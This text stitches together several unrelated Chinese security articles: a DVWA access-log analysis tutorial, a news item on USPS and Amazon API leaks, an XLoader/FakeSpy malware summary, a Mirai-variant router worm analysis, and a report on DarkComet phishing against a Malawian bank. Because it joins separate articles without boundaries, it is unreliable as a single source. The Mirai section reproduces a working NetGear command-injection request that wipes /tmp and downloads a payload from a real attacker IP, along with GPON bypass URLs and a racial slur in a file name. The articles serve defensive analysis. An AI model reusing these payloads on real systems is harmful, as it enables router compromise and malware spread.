*本文作者:Qtlsec,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

前言

日志在分析安全事件上很重要的一个参考依据,同样希望能够看到这篇文章的运维人员能重视起日志来。

0×01 搭建环境

为了快速还原一个易被攻击以及攻击性的多样化的web环境,这里我使用了DVWA这个测试平台。

DVWA

0×02 开始测试攻击

A. 扫描

这里我使用了御剑后台扫描工具:

御剑后台扫描工具

B. 然后对扫描到的phpmyadmin进行暴力破解

暴力破解

C. 测试简单的暴力破解,这里使用的工具是Burp Suite:

Burp Suite

这里使用Burp Suite对密码进行了爆破。

使用Burp Suite对密码进行了爆破

D. 测试简单的sql注入

1' union select 1,group_concat(column_name) from infomation_schema.columns where table_name='users' #

sql注入

0×03 分析access日志

日志的存放路径在windows和Linux 上不太一样,Linux一般是/var/apache2/,windows根据安装的路径不同存放的路径也可能不一样,一般为../apache/logs/access.log,或者直接使用查找工具搜索access.log。

使用系统自带的记事本打开access.log日志:

access.log日志

这里拿出其中一条日志来进行详细分析:

192.168.80.1 - - [23/Nov/2018:20:15:47 +0800] "GET /dvwa/login.php HTTP/1.1" 200 1567 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

每条日志可以提供九项内容,直接可以看出客户端的IP,请求的时间,请求的URL,状态码,服务器发送的内容大小,以及客户端的详细信息。

附上一条完整的具体内容解释链接:https://blog.csdn.net/fengda2870/article/details/13082115

为了便于查看这些日志,这里我使用了两款分析工具,Apache Logs Viewer和360的星图。

先使用Apache Logs Viewer分析一下。

A. 御剑后台扫描分析

按照Status排序,可以看到有大量同IP的404请求。通过对这些请求的地址分析,可以判断出这是暴力破解目录留下的痕迹。

暴力破解目录

B. phpMyAdmin暴力破解分析:

暴力破解分析

从图中可以看出大量的对phpMyAmin的破解请求,并在最后状态变为了200,可以分析出,攻击者对phpMyAdmin的暴力破解,并最后得到了用户名和密码。

C. 暴力破解登录

暴力破解登录

可以从上图红框内的Reques内容可以看出在暴力破解admin的密码,当size由大量的4943变为了4985可以看出,攻击者也成功得到admin的密码。

D. SQL注入分析

SQL注入分析

通过请求的信息,也可以看出攻击者使用了SQL注入,这条信息,也可以在日常运维,安全加固中,可以准确的找到网站的注入点,有利于运维人员的及时加固。

自动化分析工具:星图

将星图的配置设置好,将日志导入,可以看到攻击的信息很直观的显示了出来,很遗憾的是星图好久不更新了。

SQL注入的信息:

SQL注入的信息

两款工具的各有所长,对于星图来说,很多攻击内容给出的分析,更会迷惑分析者,建议使用星图宏观上查找问题IP,再利用Apache Logs Viewer此类工具,进行详细分析攻击者的手法,这样对我们的安全上的加固有很大的帮助。

最重要的是,一定要认识日志的重要性,对日志的采集,备份工作也同样变得更加重要。毕竟有经验的攻击者都会清理自己的痕迹。

总结

我是一个安全小菜鸟,每天游荡在各大安全论坛中,时间久了,心里对安全运维上的工作变得更加恐慌。我不应期待我维护的网站服务器不会遭受大佬们的调戏,而是如果大佬们调戏完,我该如何变得更加坚强。咳咳,感情戏太深了。。。不再戏精了,小菜鸟第一次在freebuf发文章,请各位大佬多多指点。

*本文作者:Qtlsec,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

美国一年一度的假日购物狂欢节于上周五正式拉开了序幕,与此同时,美国邮政总局和亚马逊却发生了两起安全事故,都与API使用不当有关,此次事件影响了数百万人,同时折射出网络安全策略中,一个常见却经容易被忽视的缺陷。

这些数据曝光之际正值购物狂欢节,影响程度注定更加恶劣。根据Carbon Black周一发布的节日威胁报告,季节性网络攻击比去年增加了60%,在“网购星期一”期间达到顶峰,并且整个假期都处于较高水平。

Carbon Black威胁分析部门表示,他们经过对1600多万个端点的遥测数据的汇总后显示,假日攻击事件正在逐年上升:在2017年假日购物季,全球组织遭遇的网络攻击未遂事件增加了57.5%,而2016年同期,网络攻击未遂事件比正常水平增加20.5%。

正是在这种背景下,美国邮政服务网站上一个长达一年的漏洞被曝光,攻击者可以通过这个漏洞查询6000万企业用户的账户信息,包括电子邮件地址、账号、街道地址、邮件活动数据和电话号码。在某些情况下,攻击者甚至可以修改帐户的详细信息。

早在一年前,就有一名匿名的安全研究员发现并报告了这个问题,但直到Brian Krebs上周向美国邮政总局(USPS)报告后,问题才得到解决。它源于该服务的通知可见性特性中,API的一个身份验证缺陷,此项API能为广告公司或是需要大量群发邮件的组织提供邮件的近实时跟踪数据。

API漏洞意味着,这个基于浏览器的工具还允许任何人登录USPS.com修改其“通配符”搜索参数,而无需任何特殊身份验证。因此,任何人都可以请求给定数据集的所有记录,而无需搜索特定术语。

这可能会为让大量客户的信息遭到泄露,从而被用于许多(但非常有针对性)的网络钓鱼或社会活动中去,尽管美国邮政局表示,当前并没有证据表明该漏洞被利用了,但其也没有说明为什么一年前没有解决这个问题。

美国邮政局在一份电子邮件补充说,

计算机网络不断受到试图利用漏洞非法获取信息的犯罪分子的攻击。与其他公司一样,邮政的信息安全计划和检查服务采用的都是行业的最佳实践,通过对网络的不断监控以发现可疑活动。

WhiteHat Security负责战略和业务开发的副总裁Setu Kulkarni指出,在互联网级别的B2B连接方面,api是一把双刃剑。api在不安全的情况下,会破坏其之前建立的超级连接。

Kulkarni表示:

为了避免类似的缺陷,政府机构和公司必须在应用安全方面采取主动措施,而不仅仅是在漏洞发现后才被动解决。每一家处理消费者数据的企业都需要让信息安全成为首要任务,并有义务对易受攻击的渠道(api、网络连接、移动应用程序、网站和数据库)进行最严格的安全测试。依赖数字平台的组织需要教育和授权开发人员在整个软件生命周期(SLC)中使用安全最佳实践编写代码,并提供适当的安全培训和认证。

然而,即便是互联网巨头之一的亚马逊在这方面也会犯错误。亚马逊于上周通知客户,他们的电子邮件地址可能被无意中泄露,同样也是API导致的问题。至于一些具体的细节,比如受影响的客户数量,亚马逊表示,其服务器没有受到攻击,也没有泄露任何其他个人信息。尽管如此,一些研究人员还是指责该公司对这起事件负有责任。

Lastline威胁情报总监Andy Norton指出,通过亚马逊发给客户的通知,可以发现一两个细节:

亚马逊发送给客户的‘泄露’声明指出,如果客户的名字和电子邮件被无意中泄露给了未知方,受影响的用户不需要采取任何行动。亚马逊建议用户在打开邮件时格外小心和谨慎,并强调被钓鱼的风险。

API:一个容易被盯上的犯罪目标

API对于威胁行为者来说是一个有吸引力的攻击目标,因为它们充当连接不同服务的粘合剂——它们允许数据从一个区域自由的流到另一个区域,富的信息脉络。

Cequence首席执行官Larry Link表示:

API正成为越来越有吸引力的攻击目标,包括恶意的机器人攻击,因为API可以在客户扩展的数字生态系统中提供对其他应用程序和数据的访问。重要的是企业如何确保他们有适当的安全工具来实施保护。从攻击者的角度来看,地理分布式机器人攻击相对容易计划和执行,这就是为什么恶意机器人逐渐成为每个利用web、移动和API应用程序进行业务流程和客户参与的组织所面临的新的头号攻击威胁。

然而,尽管API吸引了网络犯罪分子的注意,并提供了如此关键的功能,但正如USPS和Amazon问题所展示的那样,在涉及数据安全时,它们经常会被忽视。然而,随着隐私规定变得越来越普遍,这种情况可能会改变。

Synopsys高级技术专员Tim Mackey表示:

在所有开发和采购团队中,理解传输给API的数据,以及验证返回数据的完整性的方法,应该成为审查过程的一部分。有了这些信息,API使用者就可以监视与API使用相关的任何安全披露。当您认为美国参议院商务委员会正在听取与CCPA和GDPR类似的国家数据保护法的简报时,组织应该将跟踪API依赖关系视为减少与潜在数据泄漏相关风险的核心策略。

XLoader和FakeSpy是最近手机威胁领域两款主流的恶意软件家族。XLoader最早是2018年4月被报告使用DNS缓存投毒或DNS欺骗技术来用恶意安卓APP从受害者设备中窃取PII和金融数据,并安装其他APP。研究人员今年6月发布了FakeSpy恶意软件的报告,它使用SMS钓鱼或SMiShing来进行信息窃取攻击。

截止10月,全球XLoader和FakeSpy攻击的受害者共有384784个,受害者主要来自韩国和日本。

image.png

图1. XLoader和FakeSpy攻击的月感染量

研究人员分析发现XLoader和FakeSpy是同一组织在背后运作的。

XLoader和FakeSpy伪装为合法APP

XLoader和FakeSpy关联的第一个线索是XLoader今年6月伪装成日本的家庭送货服务公司的合法APP。而几乎所有的FakeSpy变种都伪装为前面提到的APP来窃取用户敏感信息。

深入分析XLoader和FakeSpy的活动,研究人员发现这两款恶意软件家族使用系统的生态系统来应用恶意软件。研究人员7月在VirusTotal上搜索XLoader样本发现该样本来源于一个伪装为日本家庭送货服务公司的恶意域名。1个月后,研究人员分析FakeSpy样本时发现它也来源于同一恶意域名。

image.png

图2. VirusTotal显示XLoader样本来源于前面提到的域名

image.png

图3. FakeSpy样本也来源于同一域名

而且多个XLoader和FakeSpy样本都显示同样的结果。截止发稿,研究人员共发现XLoader和FakeSpy用于应用恶意软件的126个域名。

除此之外,研究人员还发现XLoader和FakeSpy使用的方法和C2地址都有许多相似之处,其中一些变种滥用社交媒体用户资料来隐藏其真实C2地址。

image.png

图4. XLoader在社交媒体用户简介中隐藏真实的C2地址

image.png

图5. 社体媒体资料中的IP地址,都是以^^开头,以$$结尾

当APP启动时,会访问页面并分析内容来获取真实的C2地址。

Yanbian Gang

分析代码结构以及XLoader和FakeSpy的行为,可以发现FakeSpy和Yanbian Gang的样本有相关,Yanbian Gang是一个来自中国的犯罪组织,可以从韩国银行的账户中偷钱。

除此之外,FakeSpy和Yanbian app都攻击日本和韩国的网上银行用户,而两款恶意软件的运营者使用的恶意软件都有类似的代码:

Figure 6. Code from a Yanbian Gang app

图6. Yanbian Gang app中的代码

Figure 7. Code from a FakeSpy app

图7. FakeSpy app中的代码

Figure 8. The malicious app from the Yanbian Gang (top) and a FakeSpy sample (bottom) share similar metadata containing the infected devices’ information and C&C server path.

图8. 来源于Yanbian Gang的恶意APP (上)和FakeSpy样本(下)共享相同的元数据,其中含有受感染设备的信息和C2服务器路径

WHOIS结果说明FakeSpy和XLoader共享的恶意域名的注册者都来自中国。注册者的手机号显示地是吉林省,这也是Yanbian Gang已知成员的所在地。

考虑到研究中收集到的信息,研究人员推测Yanbian Gang与FakeSpy和XLoader存在某种联系。可能是两个不同的攻击者组织使用了相同的服务或应用基础设施。XLoader和FakeSpy恶意软件的流行说明用户应该遵守手机安全的最佳实践。

XLoader和FakeSpy恶意软件的行为、目标、基础设施、攻击向量以及发展历程参见研究报告:《The Evolution of XLoader and FakeSpy: Two Interconnected Android Malware Families》。

前言

近期腾讯安全云鼎实验室听风威胁感知平台监测发现一款攻击路由器的蠕虫病毒,经过分析,认定此款蠕虫是 mirai 病毒的新变种,和之前的 mirai 病毒不同,该蠕虫不仅仅通过初代 mirai 使用的 telnent 爆破进行攻击,更多通过路由器漏洞进行攻击传播。

一、Playload 与漏洞分析

样本在传播和攻击过程中涉及到4个 PlayLoad ,均针对路由器进行攻击,我们会对相关漏洞进行介绍,并针对传播情况利用抽样数据进行统计分析。

PlayLoad 情况:

被攻击设备 设备型号 漏洞编号
NetGear路由器 DGN1000、DGN2000 CNNVD-201306-024
GPON光纤路由器 H640GR-02、H640GV-03、H640GW-02、H640RW-02、H645G CVE-2018-10561/62
华为HG532系列路由器 HG532 CVE-2017-17215
linksys多款路由器 Cisco Linksys E4200、EA4500、EA3500、EA2700、E1000、E2100L CNVD-2014-01260

影响设备分布:

上图是几款路由器漏洞影响的国家范围,中国、俄罗斯、日本和美国是受灾较为严重的国家。与国家发展程度、网络普及程度有一定关系,也与上述几款路由器的销售区域有着较强的关联。由于国产设备多,安全性不高等原因,我国未来 IoT 安全面临着巨大的挑战。

下面我们针对这四个漏洞分别进行介绍:

01 NetGear 路由器任意执行漏洞(CNNVD-201306-024)

1)漏洞分析:

POC 通过 GET 方法执行 setup.cgi,通过 todo 命令执行syscmd,通过 syscmd 来执行下载和执行病毒的命令。

' GET/setup.cgi ?next_file=netgear.cfg& todo=syscmd &cmd=rm+-rf+/tmp/*;wget+http://46.17.47.82/gvv+-O+/tmp/nigger;sh+nigger+netgear&curpath=/&currentsetting.htm=1HTTP/1.1\r\n\r\n'

代码如下:

A、执行 setup.cgi 后执行 setup_main:

B、使用 GET 和 POST 方法都可以提交 POC:

Todo 参数后面直接调取相关的文件执行,没有做任何过滤,这里也是被利用的地方,直接调用syscmd来执行自己想要的命令。

2)传播情况:

图 NetGearDGN 设备远程任意命令执行漏洞攻击数据抽样统计:

发起 NetGear 漏洞攻击最多的地区是俄罗斯,可以推断带有 NetGear 漏洞扫描的病毒载体感染量大。

02 GPON 光纤路由器命令执行漏洞(CVE-2018-10561/62)

1)漏洞分析:

设备上运行的 HTTP 服务器在进行身份验证时会检查特定路径,攻击者可以利用这一特性绕过任意终端上的身份验证。

通过在 URL 后添加特定参数 ?images/,最终获得访问权限:

http://ip:port/menu.html?images/

http://ip:port/GponForm/diag_FORM?images/

GPONPlayLoad

2)传播情况:

图 GPON 设备远程任意命令执行漏洞攻击数据抽样统计:

此漏洞的病毒载体感染范围较大,对于中国、格鲁吉亚、埃及的影响最为广泛。中国美国的光纤发展迅速,埃及和格鲁吉亚受到中国影响,光纤发展速度也很快,也是他们受影响设备多的一个原因。

03 华为 HG532系列路由器远程命令执行漏(CVE-2017-17215)

1) 漏洞分析:

HG532 PlayLoad

我们可以观察POC 首先提交一个身份认证信息,之后upgrade里面的NewStatusURL标签中执行了想要执行的命令。模块在upnp中,我们找到upnp模块,并找到NEwStatusURL标签,代码直接通过SYSTEM执行命令(upg -g -u %s -t ‘Firmware Upgrade….’),没有做任何过滤。

2) 传播情况:

华为HG532设备远程命令执行漏洞攻击数据抽样统计:

CVE-2017-17215 世界影响范围:

通过华为HG532设备远程命令执行的攻击统计,可以看出,利用此漏洞的病毒载体或扫描在中国、日本、俄罗斯非常活跃。

04 Linksys多款路由器 tmUnblock.cgi ttcp_ip 参数远程命令执行漏洞(CNVD-2014-01260)

1)漏洞分析:

多款Linksys路由器没有被正确过滤 ‘ttcp_ip’ 参数值,在 tmUnblock.cgi 脚本的实现上存在安全漏洞,经过身份验证的远程攻击者可利用此漏洞执行任意命令。受影响产品包括但不局限于:

E4200 E3200 E3000 E2500 E2100L E2000 E1550 E1500 E1200 E1000E900 E300 WAG320N WAP300N WAP610N WES610N WET610N WRT610N WRT600N WRT400N WRT320NWRT160N WRT150N

2)传播情况:

Linksys 多款路由器设备远程命令执行漏洞攻击数据抽样统计:

相关漏洞样本的下载地址很固定,基本分布于拉斯维加斯、新加坡、莫斯科和阿姆斯特丹这四个城市。经过黑产链条的团伙比对,针对路由器的黑产团伙服务器的配置位置,在这几个地方部署的量确实较大。

病毒服务器分布图:

详细的服务器分布信息如下表所示:

漏洞 IP 地址 地理位置
GPON光纤路由器命令执行漏洞(CVE-2018-10561/62) 205.185.122.121(l.ocalhost.host) 美国内华达州拉斯维加斯
46.29.163.28(cnc.methaddict.xyz) 俄罗斯莫斯科
46.17.47.82 俄罗斯莫斯科
46.29.166.125 俄罗斯莫斯科
194.182.65.56 捷克
128.199.137.201 新加坡
185.244.25.176 荷兰北荷兰省阿姆斯特丹
159.89.204.166 新加坡
206.189.12.31 荷兰北荷兰省阿姆斯特丹
128.199.222.37 新加坡
185.244.25.188 荷兰北荷兰省阿姆斯特丹
185.223.163.17 爱沙尼亚
142.93.175.10 德国黑森州法兰克福
46.183.218.247 拉脱维亚
185.244.25.194 荷兰北荷兰省阿姆斯特丹
176.32.33.123 俄罗斯莫斯科
华为 HG532 系列路由器远程命令执行漏洞(CVE-2017-17215) 209.141.33.86 美国内华达州拉斯维加斯
167.88.161.40 美国内华达州拉斯维加斯
213.183.63.181 保加利亚索非亚市州索非亚
195.62.53.38 俄罗斯莫斯科
Linksys多款路由器tmUnblock.cgi ttcp_ip参数远程命令执行漏洞(CNVD-2014-01260) 209.141.33.119 美国内华达州拉斯维加斯
209.141.50.26 美国内华达州拉斯维加斯
185.244.25.222 荷兰北荷兰省阿姆斯特丹

二、样本分析

样本 md5:

099b88bb74e9751abb4091ac4f1d690d

源地址统计(112.28.77.217):

13次,主要攻击了81、8080端口

下载 IP:

46.17.47.82

样本与 mirai 是同一个家族的样本,是 mirai 病毒的一个变种。代码结构和解密后的字符串均非常相似,不同的是此变种使用了3个路由器漏洞进行传播。

Mirai bot 代码的结构如下:

包含了攻击模块、扫描模块和结束模块三个大模块,此样本代码结构与 mirai 一样,只是相比增加了三种针对路由器的扫描模块。

与以前的 mirai 不同,这里检测/dev/watchdog,/dev/misc/watchdog,/dev/FTWDT101_watchdog,/dev/FTWDT101\ watchdog,/dev/FTWDT101/watchdog,/sbin/watchdog,/bin/watchdog,/dev/watchdog0,/etc/default/watchdog,/etc/watchdog/等来避免重启。

相比传统的 mirai(/dev/watchdog,/dev/misc/watchdog)多了很多新的 watchdog 检测。同时包含了 Linux.Okiru 用来检测的路径(/dev/FTWDT101_watchdog,/dev/FTWDT101\watchdog)。

攻击服务器包含了很多相关的文件,各个操作系统平台上的,不同版本的文件。

样本溯源:

下图 POC 中包含了相关的下载地址:

通过访问链接 46.17.47.82/cutie,发现其中包含了真正的下载链接。

保存的路径为:/tmp/gdf ,/tmp/gxy,/tmp/dhf,/tmp/ttb;

再直接访问根目录,包含了一条 Twitter 地址:

该 Twitter 的作者 Philly 是一个美国人,病毒存放的路径为 nigr(Philly 的自称),从 Twitter 中未发现直接与蠕虫相关的推文。

相关 Twitter 截图:

关于样本捕获:

通过腾讯安全云鼎实验室听风威胁感知平台进行捕捉样本,听风威胁感知平台是云鼎实验室在全球多个节点部署的蜜罐网络集群,用于捕获真实的恶意流量,每天捕获数亿次的各类攻击请求。

相关捕捉界面如下:

参考文档

https://www.freebuf.com/vuls/171457.html

https://www.linuxidc.com/Linux/2014-02/97171.htm

https://xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/

*本文作者:云鼎实验室,转载请注明来自FreeBuf.COM

1、概述

近日,安天CERT(安全研究与应急处理中心)在梳理相关安全事件时发现多例对马拉维国民银行(National Bank of Malawi)的钓鱼邮件攻击样本。马拉维共和国(Republic of Malawi)是位于非洲东南部的内陆国家,国土面积11.8万平方公里。截至2017年9月,其全国共计人口2840万人,是非洲撒哈拉沙漠以南人口密度最高的国家之一。其国家经济长期依赖农业出口,政府常年靠举债度日,曾被联合国评为世界上最贫困的国家之一(摘自维基百科),国民银行是其国内最大的商业银行。
安天通过对攻击样本和关联线索的综合分析,发现这是一系列以金融机构电子邮件为突破口,通过邮件进行交叉渗透的定向攻击事件。攻击者使用对陈旧漏洞的免杀技巧构造攻击载荷执行入口,而攻击载荷采取对多个开源代码进行改写和重新编译,将二进制远控木马加密嵌入其中,实现内存执行,达到免杀和绕过安全机制的效果。
在这一系列攻击事件中,有四家马拉维国民银行的地方分行,成为攻击者的重要目标,其中大南部区(southend)官方客服邮箱已经被攻击者盗用。攻击者利用事先从国民银行部分地区分行盗取的官方邮箱口令,向其他分行工作人员发送带有恶意文档附件的邮件,作为附件的恶意文档利用CVE-2014-6352漏洞[1]发起攻击。此漏洞可以绕过“沙虫”漏洞(SandWorm)补丁MS14-060的安全保护。漏洞利用成功后,样本会执行名为“Target.scr”的可执行程序,该程序由攻击者基于开源代码[2]修改编译生成,攻击者在重写了main函数代码,程序运行时并不会调用开源代码原有的功能函数,而是内存展开执行内嵌的DarkComet远控木马,进而向目标系统发起攻击。

图 1-1攻击流程示意图

1.1 钓鱼邮件详情

钓鱼邮件<1>于马拉维时间2018年10月4日(周四)上午10:43被发送到马拉维国民银行大南部区(southend)客服中心某员工所管理的官方邮箱中(可能由于地理位置紧邻和管理成本问题,大南部区(southend)客服中心并入了利隆圭(Lilongwe)地区分行)。发件人为“Yousef Syda”,是马拉维国民银行萨利马(Salima)分行的员工,初步判断该邮箱已被盗。

图 1-2 钓鱼邮件<1>内容

钓鱼邮件<2>于马拉维时间2018年10月4日(周四)上午10:52被发送到马拉维国民银行松巴(Zomba)分行经理Thomas Chimkowola所管理的官方邮箱<[email protected]>中,显示发件人仍为“Yousef Syda”,时间上晚于钓鱼邮件<1>约9分钟。

图 1-3 钓鱼邮件<2>内容

被盗邮箱Yousef Syda <[email protected]>两次发信的IP地址均为185.82.***.***。

图1-4 被盗邮箱的IP地址

两份邮件带有同一标题“MONEY GRAM ACTION PLAN FOR OCTOBER- DECEMBER 2018(2018年10月到12月MoneyGram汇款计划)”,无正文,邮件标题字元集属性为UTF-8,并附有同一恶意文档“MONEY GRAM ACTION PLAN FOR OCTOBER- DECEMBER 2018.ppsx”,该文档使用漏洞CVE-2014-6352[1]进行攻击,该漏洞可绕过“沙虫”漏洞(SandWorm)补丁MS14-060的安全保护。在接收人双击打开ppsx文档后,其会自动开始Slide Show播放模式,触发Verb动作,执行临时目录下释放的恶意代码“Target.scr”。

1.2 被攻击者信息

受害者的邮箱域名natbankmw.com归马拉维国民银行所有[3]。马拉维国民银行成立于1971年,由起源于南非的标准银行(Standard Bank)和英国巴克莱银行DCO(Dominion Colonial Overseas)合并成立,现共拥有850名员工,总部坐落于马拉维的金融和商业中心布兰太尔市(Blantyre)。截至2016年12月,该银行的总资产价值为3140亿MWK(马拉维克瓦查,约合4.4亿美元),是马拉维最大的商业银行[4]。

图 1-5 马拉维国民银行总部建筑(纬度:-15.8 经度:35.0)

截至2018年4月,马拉维国民银行在马拉维全国维持了30多家分行,简称“客服中心”(Service Centers)。但由于银行缺乏资金和运营问题,多地“客服中心”管理混乱。2016年曾经发生巴拉卡(Balaka)地区分行的在职员工监守自盗取走上百万MWK银行存款的事件[5]。此次网络攻击事件也正是首先针对地区分行的薄弱点,盗取分行邮箱向其他分行员工发送钓鱼邮件的典型案例。

图 1-6 此次攻击事件受害者之一,马拉维国民银行利隆圭(Lilongwe)分行

图 1-7 此次攻击事件受害者之一,马拉维国民银行松巴(Zomba)分行

图 1-8 被盗邮箱所属分行,马拉维国民银行萨利马(Salima)分行

事件相关的三个邮箱皆由国民银行三个地区分行“Salima Malawi”、“Zomba Malawi”及“Lilongwe Malawi”的员工所管理,邮箱地址均可从银行官方网站客服主页上获取,被盗取的是第一位员工Yousef Syda 的邮箱,可能是攻击者完成的第一个突破口。

图 1-9公开在国民银行官网上的地区客服信息

2、样本分析

2.1 PPSX样本分析

样本“MONEY GRAM ACTION PLAN FOR OCTOBER- DECEMBER 2018.ppsx”由钓鱼邮件投递,利用了著名的“沙虫”(SandWorm)漏洞补丁的绕过漏洞CVE-2014-6352[1] 。沙虫漏洞是OLE包管理INF任意代码执行漏洞,存在于Microsoft Windows服务器上的OLE包管理器,该漏洞影响Win Vista、Win7等以上操作系统,攻击者使用PowerPoint作为攻击载体。通过利用该漏洞可以在OLE打包文件(packer.dll)中下载并执行类似的INF外部文件,从而达到攻击者执行任意命令的目的。微软为沙虫漏洞发布了MS14-060补丁,但通过构造特殊的CLSID和Verb动作,该补丁可以被漏洞CVE-2014-6352绕过。之后微软再次发布MS14-064补丁针对CVE-2014-6352进行了修补。

表2-1 事件中使用的ppsx样本标签

图 2-1 打开后的PPSX漏洞攻击文档内容为空

PPSX相关文件内容为空,没有进行相关的内容构造和伪装。解压PPSX文档可以找到“\ppt\slides\ slide1.xml”指定了嵌入OLE对象的ID为rId3。

文档“\ppt\slides\_rels\ slide1.xml.rels”指定了rId3对应目录“\ppt\embeddings\”下的oleObject1.bin

文件“\ppt\embeddings\oleObject1.bin”为嵌入了PE可执行程序的OLE Package对象。

图 2-2 样本嵌入了包含PE的OLE对象

OLE Package对象的“Olen0Native”流包含了一个完整的PE文件,流开头字符串能看出PE文件在攻击者机器上的原始保存路径“C:\Users\Analiz\Desktop\Target.scr”以及释放的路径“%TEMP%\Target.scr”。

图 2-3 OLE对象包含了完整的PE数据“Target.scr”和原始保存路径信息

模块packager.dll调用CPackage::Load读入该OLE Package对象时,首先调用ReadClassStg获取OLE复合文档的CLSID判断文件类型,该样本OLE对象的CLSID:{0003000c-0000-0000-00c0-000000000046}。

CLSID对应OldPackage类型,因此之后依次调用CPackage::PackageReadFromStream →CPackage::EmbedReadFromStream→ CopyStreamToFile将流数据拷贝至临时目录具体文件。

图 2-4 OLE对象被判断为OldPackage类型,流数据被读入

图 2-5 OLE对象流数据被写入临时文件“%TEMP%\Target.scr”

微软为了修补“沙虫”漏洞CVE-2014-4114,发布了补丁MS14-060[6],在CopyStreamToFile之后增添了MarkFileUnsafe函数将该临时文件进行MOTW处理,将其Security Zone标记为不可信来源,尝试安装运行时会弹出UAC安全警告窗口[7]。

图 2-6 方法CPackage::EmbedReadFromStream增添了MarkFileUnsafe标记

图 2-7 “%TEMP%\Target.scr”被标记为不可信

此时“%TEMP%\Target.scr”已经被释放在临时目录,如果我们以双击的方式打开该PPSX样本,自动播放模式将会开启,模块packager.dll的CPackage::DoVerb方法将检查样本指定Verb动作“cmd”的值,将其赋给变量nVerb和nTrueVerb,来决定如何处理嵌入文件“Target.scr”。
这里常见的利用手法是构造“cmd”值为3,这样就能模拟popup菜单操作执行右键菜单的第二项“以管理员权限运行” [8],最终调用SHELL32!CDefFolderMenu::InvokeCommand方法执行“Target.scr”。
然而这里样本“\ppt\slides\ slide1.xml”指定Verb动作“cmd=0”,独辟蹊径采用了另一条流程。

调试器中我们也看到此时nTureVerb已被赋值为0,开始执行函数CPackage::_ExecuteAttachment。

进入CPackage::_ExecuteAttachment我们看到它调用了危险的CPackage::_ActivateEmbeddedFile方法,内部继续调用shdocvw!CAttachmentServices::Execute方法。

图 2-8 “cmd=0”时调用了危险的CPackage::_ActivateEmbeddedFile方法

shdocvw!CAttachmentServices::Execute调用_OpZoneCheck检查“%TEMP%\Target.scr”的Security Zone标记,最后调用_OpUserTrust弹出UAC安全警告窗口提醒用户选择是否执行“%TEMP%\Target.scr”:

图 2-9 启动Security Zone标记检查,PPT页面弹出UAC安全警告窗口

由于沙虫系列漏洞是一个链接执行漏洞,而非常见的格式文档溢出漏洞,DEP等内存安全防御机制对其无效,调高UAC的级别对类似漏洞有一定的防御效果。如果此时被攻击者选择了继续运行“Target.scr”,恶意代码将被执行。而如果被攻击者的系统关闭了UAC控制或在获取了管理员权限的情况下,该安全警告窗口将不会弹出,“Target.scr”会被静默无警告地执行。

注:关于“沙虫”漏洞和其绕过漏洞CVE-2014-6352的更多细节可以参考安天[8]和360天眼实验室[9]及McAfee[10]的分析文章。

2.2 Target.scr样本分析

Target.scr样本伪装成屏幕保护程序,由Visual Basic 6.0编写且未加壳,基本信息见表2-2:

表2-2 Target.scr样本标签

通过反编译分析发现该样本的原始文件描述为"Gate Pass Management System (Klash (Pvt) Ltd.)":

图 2-10 样本反编译后显示描述“Gate Pass Management System”

样本反编译代码的更多部分是并不能被调用的各种数据库操作功能函数,以及大量的数据库操作语句。这些数据库功能代码和语句能够连接数据库并对管理账户和库存记录进行增删改查。
例如函数AddNewIGPass()和DeleteIGPass()能通过SQL语句操作“tblIGMaster”和“tblIGDetails”表,新增和删除库存记录:

图 2-11 通过“INSERT”和“DELETE”语句增删库存记录

表2-3 部分数据库被操作表名和操作语句一览

通过安天同源分析系统的比对,我们找出了对应的开源代码[2] ,根据项目描述,这份代码适用于公司的库存管理系统:

图 2-12 该Visual Basic项目的描述(这份代码适用于公司的库存管理系统)

该项目开发者是“Muhammad Assir Nadeem”,是巴基斯坦境内服装业公司Klash Private Limited的IT经理,根据我们的综合分析,没有理由怀疑该公司和项目开发者与攻击事件有关:

图 2-13 “IGOG Gate Pass System”开发者的个人介绍

攻击者并未利用开源代码中的任何功能调用,而是将加密后的DarkComet远控木马作为一个数据块嵌入到相关代码中,通过修改Main函数Main_441770()的代码将木马运行起来,而开源代码的相关功能都不会被执行。关于使用正常数据库管理客户端源码进行修改的目的,根据2.3小节更多关联样本的分析,可以认为这是一种具有迷惑性的免杀方式。
函数Main_441770()的修改主要是为了进行两个动作:
其一是实现将%TEMP%目录下的文件“Target.scr”复制一份至启动目录下,在主机侧建立持久化:
文件路径:“%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\patakia.exe”

图 2-14 复制自身至启动目录下“patakia.exe”

“patakia.exe”的文件相关Version信息等,同公开的源码完全符合:

图 2-15 文件“patakia.exe”的描述

其二是实现解密资源节中存放的恶意代码并运行。样本在原有库管理客户端源码的基础上修改了执行逻辑,实际运行过程中解密运行资源节嵌入了加密的Darkcomet远控木马。“DarkComet RAT”又称“暗黑彗星”木马,具有远程操控、击键记录、摄像头监控、文件窃取和DDoS攻击等诸多丰富功能,是黑产活动中非常常见的木马类别。由于原有开源代码中的功能代码不会被调用执行,加之其文件拷贝的位置并不在对应的程序目录下,这基本排除掉了攻击者是为了替换原有主机环境的IT工具来建立持久化入口的猜测 样本“patakia.exe”的资源节(ID=109处)包含了32,219字节的垃圾数据和276,995字节的加密数据(以[++…–…+]为标志头):

图 2-16资源节ID=109处包含的加密数据

加密数据会在内存中被加载、解密,并展开成一个完整的Darkcomet木马PE文件:

图 2-17从资源节ID=109加载由标志头开始的数据

图 2-18从内存中dump出的PE包含典型Darkcomet木马特征

木马尝试反向连接攻击者C&C服务器(desk1pc.ddns.net:700),其当前解析IP185.82.***.***即为两封钓鱼邮件的发信IP,可以认为攻击者掌控的资源相对有限。

图2-19 TCP请求中包含的“KEEPALIVE+数字”用以维持同C&C的网络连接

2.3 扩线分析

根据本报告1.1节中的相关信息扩线可以找到其他一些手法如出一辙、攻击目标皆为银行的恶意邮件。但其并非从马拉维银行工作人员的信箱发出,而是盗用了其他金融机构的员工信箱,且邮件的发信方来自同一台攻击者主机。
其中一封信的收信人是马拉维国民银行的纳卡洛(nchalo)分行。时间最早的一封邮件通过被盗邮箱Justin Akwuasaba 发送,该被盗邮箱系加拿大皇家银行(Royal Bank of Canada)的员工工作信箱。发信时间为“2018年6月22日(周五)22:03”,发信IP为“185.82.***.***”,同1.1节中的发信IP 185.82.***.***属同一C段。该恶意邮件还发送给了马拉维国民银行的另一待攻击目标nchalo ,其为马拉维国民银行纳卡洛(nchalo)分行的官方联系邮箱。

